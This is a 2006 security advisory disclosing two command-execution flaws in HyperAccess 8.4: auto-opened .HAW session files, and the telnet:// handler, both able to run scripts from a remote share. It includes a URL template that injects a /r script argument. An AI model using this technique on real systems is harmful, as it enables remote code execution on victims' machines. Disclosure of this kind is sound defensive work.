security-assessment.com

Vulnerability Advisory

Name	HyperAccess - Multiple Vulnerabilities
Vendor Website	http://www.hilgraeve.com
Date Released	December 14, 2006
Affected Software	HyperAccess 8.4 (and possibly lower)
Researcher	Brett Moore brett.moore@security-assessment.com

Overview

HyperAccess is the official FULL-POWERED upgrade from HyperTerminal and HyperTerminal Private Edition. It is the product from which HyperTerminal and HyperTerminal Private Edition are derived. HyperAccess offers a wide array of additional capabilities, with a similar look and feel.

This advisory discloses two separate (but similar) security issues in the latest version of HyperAccess .

Command Execution Through .HAW Opening

HyperAccess saves 'sessions' as .haw files. These extensions are setup to open without user intervention, through the editflags setting the in the registry key:

```
  HKEY_CLASSES_ROOT\HAWin32\EditFlags.
```

If a user, using Internet Explorer, browses to a web site that hosts a .HAW, an automatic download and open can be forced. The file will be opened and parsed by the installed version of HyperAccess.

A .HAW file can be saved with an option 'Script To Run Before Connecting' and this can be setup to load a script file from either an SMB share or a WEBDAV web share.

The script command offered by HyperAccess include built in commands as well as standard vbscript. This allows the creation of a script that uses WScript.Shell to spawn other executables.

This attack requires the target to visit the attackers website, and be able to connect to the remote share.

A suggested fix is to remove/modify the editflags setting to prevent the automatic opening and parsing of .HAW files.

Command Execution Through Telnet URL Protocol

HyperAccess sets up a URL Protocol to handle the telnet:// URL handler. This setting can be viewed in the registry key:

```
  HKEY_CLASSES_ROOT\telnet\shell\open\command
```

which is set to

```
  c:\program files\hawin32\hawin32.exe /t %1
```

HyperAccess will accept /r as a command line parameter to specify a script file to run. This command can be passed on the URL through Internet Explorer using a URL such as;

```
  telnet://IPADDRESS:PORT # /r \\SERVER\share\scriptfile.txt
```

Where SERVER is an SMB share or a WEBDAV web share hosting a malicious script to run.

The script command offered by Hyperaccess include built in commands as well as standard vbscript. This allows the creation of a script that uses WScript.Shell to spawn other executables.

This attack requires the target to visit the attackers website, and be able to connect to the remote share.

A suggested fix is to remove the telnet handler from the registry.

Solutions

Currently, the issues outlined in the report have been added to a list of issues to evaluate during the next update of HyperACCESS. There is currently no planned date for this update.

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

Security-Assessment.com is an Endorsed Commonwealth Government of Australia supplier and sits on the Australian Government Attorney-General's Department Critical Infrastructure Project panel. We are certified by both Visa and MasterCard under their Payment Card Industry Data Security Standard Programs.
For further information on this issue or any of our service offerings, contact us

Web	www.security-assessment.com
Email	info@security-assessment.com
Phone	+649 302 5093